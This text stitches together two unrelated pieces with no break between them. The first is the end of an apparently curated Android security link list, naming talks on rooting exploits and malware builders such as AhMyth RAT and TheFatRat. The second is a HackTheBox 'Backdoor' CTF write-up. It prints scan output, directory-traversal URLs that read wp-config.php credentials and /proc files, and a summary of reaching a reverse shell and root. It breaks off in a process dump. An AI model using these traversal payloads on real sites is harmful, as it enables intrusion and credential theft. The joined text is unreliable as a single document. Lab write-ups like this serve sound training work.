Aplikasi Android Dengan Mobile Security Framework](https://journal.ittelkom-pwt.ac.id/index.php/ledger/article/view/848/248) * [Paper] [CREDENTIAL ANALYSIS FOR SECURITY CONFIGURATION ON CUSTOM ANDROID ROM](https://jtie.stekom.ac.id/index.php/jtie/article/view/149/129) #### 2023 * [Paper] [Assessing the security of inter-app communications in android through reinforcement learning](https://www.researchgate.net/profile/Alessio-Merlo/publication/364335274_Assessing_the_Security_of_Inter-App_Communications_in_Android_through_Reinforcement_Learning/links/634ab5c2ff870c55ce27e3f1/Assessing-the-Security-of-Inter-App-Communications-in-Android-through-Reinforcement-Learning.pdf) * [Paper] [Android Malware Detection Based on Program Genes](https://www.hindawi.com/journals/scn/2023/2796988/) * [Paper] [ImageDroid: Using Deep Learning to Efficiently Detect Android Malware and Automatically Mark Malicious Features](https://www.hindawi.com/journals/scn/2023/5393890/) * [Paper] [MVDroid: an android malicious VPN detector using neural networks](https://link.springer.com/article/10.1007/s00521-023-08512-1) # Speaker #### 2017 * [Speaker] [A Whole New Efficient Fuzzing Strategy for Stagefright](https://slideplayer.com/slide/13546193) #### 2019 * [Speaker] [KNOX Kernel Mitigation Bypasses](https://powerofcommunity.net/poc2019/x82.pdf) * [Speaker] [Android Security Internals](https://www.youtube.com/watch?v=7QwhF4ANq6Q) * [Presentation Slides](https://www.opersys.com/presentations/2019-05-15/android-security-internals-pub/slides-main-190515.html#/) * [Speaker] [Fuzzing OP -TEE with AFL](https://static.linaro.org/connect/san19/presentations/san19-225.pdf) #### 2020 * [Speaker] [Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290) * [Speaker] [Samsung Security Tech Forum 2020](https://www.youtube.com/watch?v=XDRFY5s1SE8) * [Speaker] [Qualcomm Compute DSP for Fun and Profit](https://www.youtube.com/watch?v=CrLJ29quZY8) * [Speaker] [PARTEMU: Enabling Dynamic Analysis of Real-World TrustZone Software Using Emulation](https://youtu.be/I90v8UMhBQs) * [Presentation Slides](https://www.usenix.org/system/files/sec20_slides_harrison-final.pdf) * [Paper](https://www.usenix.org/system/files/sec20summer_harrison_prepub.pdf) #### 2021 * [Speaker] [Exploring & Exploiting Zero-Click Remote Interfaces of Modern Huawei Smartphones](https://youtu.be/e9gZEHhBfsM) * [Presentation Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Komaromy-How-To-Tame-Your-Unicorn.pdf) * [Paper](https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Komaromy-How-To-Tame-Your-Unicorn-wp.pdf) * [Speaker] [Typhoon Mangkhut: One-click Remote Universal Root Formed with Two Vulnerabilities](https://youtu.be/a1vyt6iWmS4) * [Presentation Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Typhoon-Mangkhut-One-Click-Remote-Universal-Root-Formed-With-Two-Vulnerabilities.pdf) * [Speaker] [Breaking Secure Bootloaders](https://youtu.be/XvGcQgx9Jg8) * [Presentation Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Breaking-Secure-Bootloaders.pdf) * [Speaker] [Can You Hear Me Now? Remote Eavesdropping Vulnerabilities in Mobile Messaging Applications](https://youtu.be/s44K1IBnw4I) * [Presentation Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Can-You-Hear-Me-Now-Remote-Eavesdropping-Vulnerabilities-In-Mobile-Messaging-Applications.pdf) * ~~[Speaker] [Blowing the Cover of Android Binary Fuzzing](https://speakerdeck.com/flankerhqd/blowing-the-cover-of-android-binary-fuzzing)~~ Unable to connect * [Speaker] [3rd Real World CTF: Blowing the cover of android binary fuzzing](https://www.youtube.com/watch?v=y05uja2o6GE) * [Speaker] [Samsung Security Tech Forum 2021](https://www.youtube.com/watch?v=RDl81Jd83zc) * [Speaker] [Emulating Samsung's Baseband for Security Testing](https://www.youtube.com/watch?v=wkWUU8820ro) * [Presentation Slides](https://i.blackhat.com/USA-20/Wednesday/us-20-Hernandez-Emulating-Samsungs-Baseband-For-Security-Testing.pdf) * [Speaker] [Stealthily Access Your Android Phones: Bypass the Bluetooth Authentication](https://www.youtube.com/watch?v=6J3weqoiads) * [Presentation Slides](https://i.blackhat.com/USA-20/Wednesday/us-20-Xu-Stealthily-Access-Your-Android-Phones-Bypass-The-Bluetooth-Authentication.pdf) * [Speaker] [Over the Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones](https://youtu.be/53rIuiQRNg8) * [Presentation Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Over-The-Air-Baseband-Exploit-Gaining-Remote-Code-Execution-On-5G-Smartphones.pdf) * [Paper](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Over-The-Air-Baseband-Exploit-Gaining-Remote-Code-Execution-On-5G-Smartphones-wp.pdf) * [Speaker] [HOOKA: Deep Dive Into ARTAndroid Runtime For Dynamic Binary Analysis](https://www.youtube.com/watch?v=AWWjzMeY7gg) #### 2022 * [Speaker] [A Deep Dive into Privacy Dashboard of Top Android Vendors](https://www.youtube.com/watch?v=LyWwGqkXtVM) * [Presentation Slides](https://i.blackhat.com/EU-21/Thursday/EU-21-Bin-A-Deep-Dive-into-Privacy-Dashboard-of-Top-Android-Vendors.pdf) * [Speaker] [Hand in Your Pocket Without You Noticing: Current State of Mobile Wallet Security](https://www.youtube.com/watch?v=e3Lb_GHUKso) * [Speaker] [Re-route Your Intent for Privilege Escalation: A Universal Way to Exploit Android PendingIntents in High-profile and System Apps](https://www.youtube.com/watch?v=pc8ZKl5XG24) * [Presentation Slides](https://i.blackhat.com/EU-21/Wednesday/EU-21-He-Re-route-Your-Intent-for-Privilege-Escalation-A-Universal-Way-to-Exploit-Android-PendingIntents-in-High-profile-and-System-Apps.pdf) * [Speaker] [DroidGuard: A Deep Dive into SafetyNet](https://static.sstic.org/videos2022/1080p/droidguard_a_deep_dive_into_safetynet.mp4) * [Presentation Slides](https://www.romainthomas.fr/publication/22-sstic-blackhat-droidguard-safetynet/slides.pdf) * [Paper](https://www.romainthomas.fr/publication/22-sstic-blackhat-droidguard-safetynet/whitepaper.pdf) * [Speaker] [Android static taint analysis 기법과 발전 방향](https://www.youtube.com/watch?v=tSmgW62lYb4) * [Presentation Slides](https://github.com/codeengn/codeengn-conference/blob/master/18/2022%20CodeEngn%20Conference%2018%2C%20Android%20static%20taint%20analysis%20%E1%84%80%E1%85%B5%E1%84%87%E1%85%A5%E1%86%B8%E1%84%80%E1%85%AA%20%E1%84%87%E1%85%A1%E1%86%AF%E1%84%8C%E1%85%A5%E1%86%AB%20%E1%84%87%E1%85%A1%E1%86%BC%E1%84%92%E1%85%A3%E1%86%BC%20%5B%E1%84%89%E1%85%A9%E1%86%AB%E1%84%8C%E1%85%B5%E1%84%92%E1%85%AE%E1%86%AB%5D.pdf) * [Speaker] [Android 12에서 Dynamic Taint Analysis 기법을 이용한 Kakao talk의 복호화](https://www.facebook.com/decashx1/videos/796844991474286) * [Video] [Hacking a Samsung Galaxy for $6,000,000 in Bitcoin!?](https://youtu.be/icBD5PiyoyI) * [Speaker] [Trust Dies in Darkness: Shedding Light on Samsung's TrustZone Keymaster Design](https://youtu.be/BDoWkS_U6fg) * [Presentation Slides](http://i.blackhat.com/USA-22/Wednesday/US-22-Shakevsky-Trust-Dies-in-Darkness.pdf) * [Speaker] [Android Universal Root: Exploiting Mobile GPU / Command Queue Drivers](https://www.youtube.com/watch?v=kEl5qbLZVeY) * [Presentation Slides](http://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Android-Universal-Root.pdf) * [Speaker] [Attack on Titan M, Reloaded: Vulnerability Research on a Modern Security Chip](https://www.youtube.com/watch?v=bCjkAkXiwK4) * [Presentation Slides](http://i.blackhat.com/USA-22/Thursday/US-22-Melotti-Attack-on-Titan-M-Reloaded.pdf) * [Tool] [Titan M tools](https://github.com/quarkslab/titanm/) * [Speaker] [Monitoring Surveillance Vendors: A Deep Dive into In-the-Wild Android Full Chains in 2021](https://www.youtube.com/watch?v=0Vv5kLj0tz4) * [Presentation Slides](http://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf) #### 2023 * [Presentation Slides] [Two Bugs With One PoC: Rooting Pixel 6 From Android 12 to Android 13](http://i.blackhat.com/Asia-23/AS-23-WANG-Two-bugs-with-one-PoC-Rooting-Pixel-6-from-Android-12-to-Android-13.pdf?_gl=1*1pwpjr2*_gcl_au*MTQxMjExODI1My4xNjkxNzU1NzM3*_ga*MTU1NTU0MTMxNC4xNjkxNzU1NzM4*_ga_K4JK67TFYV*MTY5MTc1NTczNy4xLjEuMTY5MTc1NjE0OS4wLjAuMA..&_ga=2.184716713.1447754781.1691755738-1555541314.1691755738) * [Presentation Slides] [Dirty Stream Attack, Turning Android Share Targets Into Attack Vectors](http://i.blackhat.com/Asia-23/AS-23-Valsamaras-Dirty-Stream-Attack-Turning-Android.pdf?_gl=1*mhxzgl*_gcl_au*MTQxMjExODI1My4xNjkxNzU1NzM3*_ga*MTU1NTU0MTMxNC4xNjkxNzU1NzM4*_ga_K4JK67TFYV*MTY5MTc1NTczNy4xLjEuMTY5MTc1NjQ5MS4wLjAuMA..&_ga=2.184716713.1447754781.1691755738-1555541314.1691755738) * [Presentation Slides] [Revisiting Stealthy Sensitive Information Collection from Android Apps](http://i.blackhat.com/Asia-23/AS-23-Bai-Stealthy-Sensitive-Information-Collection-from-Android-Apps.pdf?_gl=1*540sj8*_gcl_au*MTQxMjExODI1My4xNjkxNzU1NzM3*_ga*MTU1NTU0MTMxNC4xNjkxNzU1NzM4*_ga_K4JK67TFYV*MTY5MTc1NTczNy4xLjEuMTY5MTc1NjUwOC4wLjAuMA..&_ga=2.176719269.1447754781.1691755738-1555541314.1691755738) * [Presentation Slides] [The Art of Rooting Android devices by GPU MMU features](https://i.blackhat.com/BH-US-23/Presentations/US-23-WANG-The-Art-of-Rooting-Android-devices-by-GPU-MMU-features.pdf) * [Video] [Android 13 LPE](https://www.youtube.com/watch?v=D_AMrLbo3v8) # Tools #### Static / Dynamic Analysis * [JEB Decompiler](https://www.pnfsoftware.com/) : Powerful Integrated Analysis Tools * [IDA Pro](https://hex-rays.com/) : Powerful Integrated Analysis Tools * [Mobile Security Framework (MobSF)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) : [Online Service](https://mobsf.netking.xyz/) Integrated Analysis Tools * [Frida](https://github.com/frida/frida) : Dynamic Instrumentation Toolkit * [Apktool](https://github.com/iBotPeaches/Apktool) : APK Files Reverse Engineering * [Bytecode Viewer](https://bytecodeviewer.com/) : Java Reverse Engineering * [JD-GUI](http://java-decompiler.github.io/) : Java Decompiler * [JADX](https://github.com/skylot/jadx) : DEX to Java Decompiler * [RMS-Runtime-Mobile-Security](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) : Manipulate Android and iOS Apps at Runtime * [APKLeaks](https://github.com/dwisiswant0/apkleaks) : Scanning APK File for URIs, Endpoints & Secrets * [Apkingo](https://github.com/andpalmier/apkingo) : APK Details Exploration Tool * [APKLab](https://github.com/APKLab/APKLab) : APK Integration Tool in VSCode #### Online Analysis * [Oversecured](https://oversecured.com/) : Paid Use * [Virustotal](https://www.virustotal.com/) : Free Use #### Forensisc Analysis * [MAGNET Forensisc](https://www.magnetforensics.com/) : Powerful Integrated Analysis Tools * [Autopsy](https://www.autopsy.com/) : End-To-End Open Source Digital Forensics Platform * [Wireshark](https://www.wireshark.org/) : Network Protocol Analyzer #### Fuzzer * [Android-afl](https://github.com/ele7enxxh/android-afl) : Android-enabled Version of AFL * [LibFuzzer](https://source.android.com/devices/tech/debug/libfuzzer) : A Library For Coverage-Guided Fuzz Testing * [Droid](https://github.com/ajinabraham/Droid-Application-Fuzz-Framework) : Android Application Fuzzing Framework * [Droid-ff](https://github.com/antojoseph/droid-ff) : Android File Fuzzing Framework * [DoApp](https://www.iswatlab.eu/security-projects/doapp-denial-of-app-a-smart-android-fuzzer-for-the-future/) : A Smart Android Fuzzer For The Future * [DIFUZER](https://github.com/ucsb-seclab/difuze) : Fuzzer for Linux Kernel Drivers * [LTEFuzz](https://sites.google.com/view/ltefuzz) : LTE Network Exception Handling Testing, KAIST #### Root * [Magisk](https://github.com/topjohnwu/Magisk) : Provide Root Access for Applications * [Odin](https://odindownloader.com/) : Samsung Root Software #### Malware * [Quark Engine](https://github.com/quark-engine/quark-engine) : An Obfuscation-Neglect Android Malware Scoring System * [AhMyth Android Rat](https://github.com/AhMyth/AhMyth-Android-RAT) : Sample Malware Production Tool * [TheFatRat](https://github.com/Screetsec/TheFatRat) : An Exploiting Tool which Compiles a Malware #### Virtual / Build / Source * [Android Open Source Project (AOSP)](https://source.android.com/setup) : QEMU(Quick Emulator) Hypervisor * [Android Studio](https://developer.android.com/studio) : Android Virtual Device (AVD) Manager * [Android x86](https://www.android-x86.org/) : Android Virtual Emulator * [Nox Player](https://kr.bignox.com/) : Android Virtual Emulator * [Samsung Open Source](https://opensource.samsung.com/main) : Kernel, Platform Open Source * [SamFw](https://samfw.com/) : [Web] Android Firmware * [Frija](https://github.com/SlackingVeteran/frija/releases) : [Software] Android Firmware #### Etc * [Scrcpy](https://github.com/Genymobile/scrcpy) : ADB Based Android Screen Sharing Tool * [GDB](https://www.sourceware.org/gdb/) : APK Library Analysis Tools * [PEDA-ARM](https://github.com/alset0326/peda-arm) : ARM Architecture GDB PEDA Plug-in * [Termux](https://termux.com/) : Android Terminal Emulator and Linux Environment App * [Plugin] [PRoot Distro](https://github.com/termux/proot-distro) : A Bash script wrapper for utility proot * [Diffuse](https://github.com/JakeWharton/diffuse) : APK, AAB, AAR, and JAR Diffing Tool # Other #### BugBounty * [Samsung Mobile Security](https://security.samsungmobile.com/main.smsb) * [Google Application Security](https://bughunters.google.com/) * [BugCrowd](https://www.bugcrowd.com/) #### CVE / SVE * [Google(Android) CVE DataBase](https://vuldb.com/?vendor.google) * [Samsung CVE DataBase](https://vuldb.com/?vendor.samsung) * [Samsung SVE DataBase](https://security.samsungmobile.com/main.smsb) * [Samsung SVE DataBase CSV](https://github.com/NetKingJ/awesome-android-security/tree/main/Samsung_SVE_DataBase) #### Blog / Site / Git * [Oversecured Blog](https://blog.oversecured.com/) : Technology Blog * [ESTsecurity Blog](https://blog.alyac.co.kr/) : [KOR] Issue Blog * [BlackHat](https://www.blackhat.com/) : International Security Conference * [Bug Bounty Hunting Search Engine](https://www.bugbountyhunting.com/) * [Awesome-Android-Security #1](https://github.com/saeidshirazi/awesome-android-security) * [Awesome-Android-Security #2](https://github.com/ashishb/android-security-awesome) * [Awesome-Android-Security #3](https://github.com/vaib25vicky/awesome-mobile-security) * [Awesome Google VRP Writeups](https://github.com/xdavidhu/awesome-google-vrp-writeups) * [Android Malware 2021](https://github.com/sk3ptre/AndroidMalware_2021) * [TEE Basics & General](https://github.com/enovella/TEE-reversing) : TEE Resources * [Mobile CTF challenges](https://github.com/xtiankisutsa/awesome-mobile-CTF) * [SamMobile](https://www.sammobile.com/) : Community Site * [XDA Developers](https://forum.xda-developers.com/) : Community Site * [Cyber Security RSS](https://rss.netking.xyz) : Security Issue Collection Site #### SNS * [Android Infosecurity](https://www.facebook.com/AndroidInfoSec) * [ExploitWareLabs](https://www.facebook.com/ExWareLabs/) ## Samsung Mobile Security Statistics ##### * Please note that the statistics are not accurate. ##### * Based on [Samsung SVE DataBase](https://github.com/NetKingJ/awesome-android-security/tree/main/Samsung_SVE_DataBase). ![Alt text](img/Samsung_Mobile_Security_Statistics.png) ## Backers Thank you to all our supporters! 🙏 > \* Please, consider supporting my work as a lot of effort takes place to generate this list! Thanks a lot. <a href="https://www.buymeacoffee.com/netkingj" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/default-orange.png" alt="Buy Me A Coffee please!" style="height: 51px !important;width: 217px !important;" ></a> **[⬆ back to top](#Theory)** ## Contributing Your contributions are always welcome! Please take a look at the [contribution guidelines](https://github.com/NetKingJ/awesome-android-security/tree/main/CONTRIBUTING.md) first. If you have any question about this opinionated list, do not hesitate to contact me open an [issue](https://github.com/NetKingJ/awesome-android-security/issues) on GitHub.
# Backdoor - HackTheBox - Writeup Linux, 20 Base Points, Easy ![info.JPG](images/info.JPG) ## Machine ![‏‏Backdoor.JPG](images/Backdoor.JPG) ## TL;DR To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```22```, ```80``` and ```1337```. ***User***: By running ```wpscan``` we found LFI vulnerability on ```Ebook``` PHP plugin, Using that we can get the file ```/proc/sched_debug``` which contains running tasks and PIDs, Using the LFI we can enumerate the ```/proc/{PID}/cmdline ``` for each PID, By reading the ```cmdline``` of PID ```817``` we found that port 1337 contains ```gdbserver``` with RCE vulnerability, using that we get a reverse shell as ```user```. ***Root***: Found ```root``` screen, Attaching to the root session by running ```screen -x root/root```. ![pwn.JPG](images/pwn.JPG) ## Backdoor Solution ### User Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Backdoor] └──╼ $ nmap -sV -sC -oA nmap/Backdoor 10.10.11.125 Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-25 22:56 IST Nmap scan report for 10.10.11.125 Host is up (0.18s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-generator: WordPress 5.8.1 |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Backdoor &#8211; Real-Life |_https-redirect: ERROR: Script execution failed (use -d to debug) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 1337/tcp closed waste ``` By observing port 80 we get the following web page: ![port80.JPG](images/port80.JPG) By running ```gobuster``` we can see the following result: ```console ┌─[evyatar@parrot]─[/hackthebox/Backdoor] └──╼ $ gobuster dir -u http://10.10.11.125/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -k --wildcard -s 401,403,200 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.125/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/11/25 22:57:28 Starting gobuster in directory enumeration mode =============================================================== /wp-content (Status: 301) [Size: 317] [--> http://10.10.11.125/wp-content/] /wp-includes (Status: 301) [Size: 318] [--> http://10.10.11.125/wp-includes/] /wp-admin (Status: 301) [Size: 315] [--> http://10.10.11.125/wp-admin/] /server-status (Status: 403) [Size: 277] ``` As we can see It's WordPress, Let's run ```wpscan```: ```console ┌─[evyatar@parrot]─[/hackthebox/Backdoor] └──╼ $ wpscan --api-token $WPSCAN_KEY --url http://backdoor.htb/ --plugins-detection mixed -e -t 100 _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.4 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N]Y [i] Updating the Database ... [i] Update completed. [+] URL: http://backdoor.htb/ [10.10.11.125] [+] Started: Fri Nov 26 00:41:13 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.41 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://backdoor.htb/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access [+] http://backdoor.htb/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% ........ [+] ebook-download | Location: http://backdoor.htb/wp-content/plugins/ebook-download/ | Last Updated: 2020-03-12T12:52:00.000Z | Readme: http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt | [!] The version is out of date, the latest version is 1.5 | [!] Directory listing is enabled | | Found By: Known Locations (Aggressive Detection) | - http://backdoor.htb/wp-content/plugins/ebook-download/, status: 200 | | [!] 1 vulnerability identified: | | [!] Title: Ebook Download < 1.2 - Directory Traversal | Fixed in: 1.2 | References: | - https://wpvulndb.com/vulnerabilities/13d5d17a-00a8-441e-bda1-2fd2b4158a6c | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10924 | | Version: 1.1 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt .... ``` We can see that we have ```Ebook Download < 1.2 - Directory Traversal``` vulnerability. Let's use it by the following [https://www.exploit-db.com/exploits/39575](https://www.exploit-db.com/exploits/39575). We can get the ```wp-config.php``` file by access to [http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php](http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php): ```php ../../../wp-config.php../../../wp-config.php../../../wp-config.php<?php ... /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wordpressuser' ); /** MySQL database password */ define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); ... ``` Those credentials are not worked with WordPress log in. Let's move to port ```1337```, We need to know which process running behind this port. To do so we need to enumerate the PIDs on the target system. We can get a list of running PID by getting the file ```/proc/sched_debug``` from the URL: [http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/sched_debug](http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../proc/sched_debug): ```console ... runnable tasks: S task PID tree-key switches prio wait-time sum-exec sum-sleep ----------------------------------------------------------------------------------------------------------- I rcu_gp 3 13.968293 2 100 0.000000 0.003980 0.000000 0 0 / I rcu_par_gp 4 15.968373 2 100 0.000000 0.002120 0.000000 0 0 / I kworker/0:0H 6 2818.689658 4 100 0.000000 0.025240 0.000000 0 0 / I mm_percpu_wq 9 22.039191 2 100 0.000000 0.002590 0.000000 0 0 / S ksoftirqd/0 10 31380.765382 2270 120 0.000000 73.079540 0.000000 0 0 / I rcu_sched 11 31387.989732 376748 120 0.000000 4438.355970 0.000000 0 0 / S migration/0 12 0.000000 4362 0 0.000000 68.211470 0.000000 0 0 / S idle_inject/0 13 0.000000 3 49 0.000000 0.005920 0.000000 0 0 / S cpuhp/0 14 6933.896021 9 120 0.000000 0.069010 0.000000 0 0 / S irq/24-pciehp 94 0.000000 3 49 0.000000 0.037060 0.000000 0 0 / S irq/26-pciehp 96 0.000000 3 49 0.000000 0.054280 0.000000 0 0 / S irq/28-pciehp 98 0.000000 3 49 0.000000 0.035620 0.000000 0 0 / S irq/30-pciehp 100 0.000000 3 49 0.000000 0.053620 0.000000 0 0 / S irq/32-pciehp 102 0.000000 3 49 0.000000 0.031990 0.000000 0 0 / S irq/34-pciehp 104 0.000000 3 49 0.000000 0.053700 0.000000 0 0 / S irq/36-pciehp 106 0.000000 3 49 0.000000 0.039600 0.000000 0 0 / S irq/38-pciehp 108 0.000000 3 49 0.000000 0.054750 0.000000 0 0 / S irq/40-pciehp 110 0.000000 3 49 0.000000 0.053390 0.000000 0 0 / S irq/42-pciehp 112 0.000000 3 49 0.000000 0.053420 0.000000 0 0 / S irq/44-pciehp 114 0.000000 3 49 0.000000 0.054070 0.000000 0 0 / S irq/46-pciehp 116 0.000000 3 49 0.000000 0.053530 0.000000 0 0 / S irq/48-pciehp 118 0.000000 3 49 0.000000 0.059000 0.000000 0 0 / S irq/50-pciehp 120 0.000000 3 49 0.000000 0.053380 0.000000 0 0 / S irq/52-pciehp 122 0.000000 3 49 0.000000 0.054660 0.000000 0 0 / S irq/54-pciehp 124 0.000000 3 49 0.000000 0.054590 0.000000 0 0 / I kworker/u257:0 146 919.183306 2 100 0.000000 0.002410 0.000000 0 0 / Icharger_manager 159 982.051234 2 100 0.000000 0.010600 0.000000 0 0 / I mpt_poll_0 199 1384.186790 2 100 0.000000 0.010320 0.000000 0 0 / I scsi_tmf_2 202 2417.477558 2 100 0.000000 0.009180 0.000000 0 0 / S scsi_eh_3 203 2788.236776 26 120 0.000000 0.703740 0.000000 0 0 / I scsi_tmf_3 205 2449.725841 2 100 0.000000 0.006330 0.000000 0 0 / I ttm_swap 209 2479.127093 2 100 0.000000 0.004850 0.000000 0 0 / I scsi_tmf_5 211 2516.975534 2 100 0.000000 0.007190 0.000000 0 0 / S scsi_eh_6 212 2788.210316 26 120 0.000000 0.511820 0.000000 0 0 / I scsi_tmf_6 213 2501.184097 2 100 0.000000 0.003090 0.000000 0 0 / I scsi_tmf_7 215 2509.185621 2 100 0.000000 0.002270 0.000000 0 0 / I scsi_tmf_8 217 2517.187265 2 100 0.000000 0.006320 0.000000 0 0 / I scsi_tmf_9 219 2524.377763 2 100 0.000000 0.004130 0.000000 0 0 / I scsi_tmf_10 221 2532.373346 2 100 0.000000 0.003880 0.000000 0 0 / I scsi_tmf_11 223 2540.369236 2 100 0.000000 0.003750 0.000000 0 0 / I scsi_tmf_12 225 2548.365251 2 100 0.000000 0.003660 0.000000 0 0 / I scsi_tmf_13 227 2556.361283 2 100 0.000000 0.003840 0.000000 0 0 / S scsi_eh_14 228 2805.916957 26 120 0.000000 0.922560 0.000000 0 0 / I scsi_tmf_14 229 2564.357268 2 100 0.000000 0.003780 0.000000 0 0 / S scsi_eh_15 230 2805.548567 26 120 0.000000 0.584320 0.000000 0 0 / I scsi_tmf_15 231 2572.353384 2 100 0.000000 0.003980 0.000000 0 0 / I scsi_tmf_16 233 2580.348969 2 100 0.000000 0.004140 0.000000 0 0 / I scsi_tmf_17 235 2588.344158 2 100 0.000000 0.004330 0.000000 0 0 / I scsi_tmf_18 237 2596.339326 2 100 0.000000 0.004240 0.000000 0 0 / I scsi_tmf_19 239 2604.334592 2 100 0.000000 0.003840 0.000000 0 0 / S scsi_eh_20 240 2788.256166 26 120 0.000000 0.569150 0.000000 0 0 / I scsi_tmf_20 241 2612.330600 2 100 0.000000 0.004310 0.000000 0 0 / I scsi_tmf_21 243 2620.334093 2 100 0.000000 0.004880 0.000000 0 0 / I cryptd 255 2637.259068 2 100 0.000000 0.008060 0.000000 0 0 / S scsi_eh_24 259 2788.249366 26 120 0.000000 0.578080 0.000000 0 0 / S scsi_eh_25 261 2788.304666 26 120 0.000000 0.626180 0.000000 0 0 / I scsi_tmf_25 264 2661.613516 2 100 0.000000 0.008050 0.000000 0 0 / I scsi_tmf_26 269 2672.549835 2 100 0.000000 0.006730 0.000000 0 0 / S scsi_eh_27 272 2805.929157 26 120 0.000000 0.931290 0.000000 0 0 / I scsi_tmf_27 273 2685.996059 2 100 0.000000 0.005600 0.000000 0 0 / S scsi_eh_29 292 2788.260816 26 120 0.000000 0.573400 0.000000 0 0 / I scsi_tmf_32 327 2811.121947 2 100 0.000000 0.023850 0.000000 0 0 / I kworker/0:1H 328 31381.324299 7247 100 0.000000 151.690360 0.000000 0 0 / I kdmflush 341 2849.470355 2 100 0.000000 0.025850 0.000000 0 0 / S jbd2/dm-0-8 430 31381.469269 13418 120 0.000000 395.634690 0.000000 0 0 / Ssystemd-journal 486 1932.958288 15343 119 0.000000 3707.362450 0.000000 0 0 /autogroup-3 S systemd-udevd 514 1892.985547 2396 120 0.000000 416.669690 0.000000 0 0 /autogroup-15 Ssystemd-network 516 61.061744 1329 120 0.000000 784.660280 0.000000 0 0 /autogroup-16 S multipathd 656 0.000000 20137 0 0.000000 416.269560 0.000000 0 0 /autogroup-24 S multipathd 658 0.000000 1 0 0.000000 0.325420 0.000000 0 0 /autogroup-24 S multipathd 659 0.000000 562 0 0.000000 20.443510 0.000000 0 0 /autogroup-24 S jbd2/sda2-8 664 8866.973313 14 120 0.000000 0.257520 0.000000 0 0 / Iext4-rsv-conver 665 6961.541411 2 100 0.000000 0.005160 0.000000 0 0 / S vmtoolsd 765 863.217701 145 120 0.000000 0.747470 0.000000 0 0 /autogroup-36 S gmain 933 863.217841 147 120 0.000000 1.282340 0.000000 0 0 /autogroup-36 Saccounts-daemon 750 14.131746 59 120 0.000000 9.425080 0.000000 0 0 /autogroup-37 S dbus-daemon 751 33.264574 311 120 0.000000 47.430250 0.000000 0 0 /autogroup-38 S irqbalance 757 700.273394 1690 120 0.000000 704.403350 0.000000 0 0 /autogroup-41 S gmain 760 6.635548 1 120 0.000000 0.028070 0.000000 0 0 /autogroup-41 S rsyslogd 762 246.286213 55 120 0.000000 6.880110 0.000000 0 0 /autogroup-43 S in:imuxsock 769 253.981973 7246 120 0.000000 305.882770 0.000000 0 0 /autogroup-43 S systemd-logind 763 43.157104 380 120 0.000000 76.068960 0.000000 0 0 /autogroup-44 S cron 794 3.129742 36 120 0.000000 2.215710 0.000000 0 0 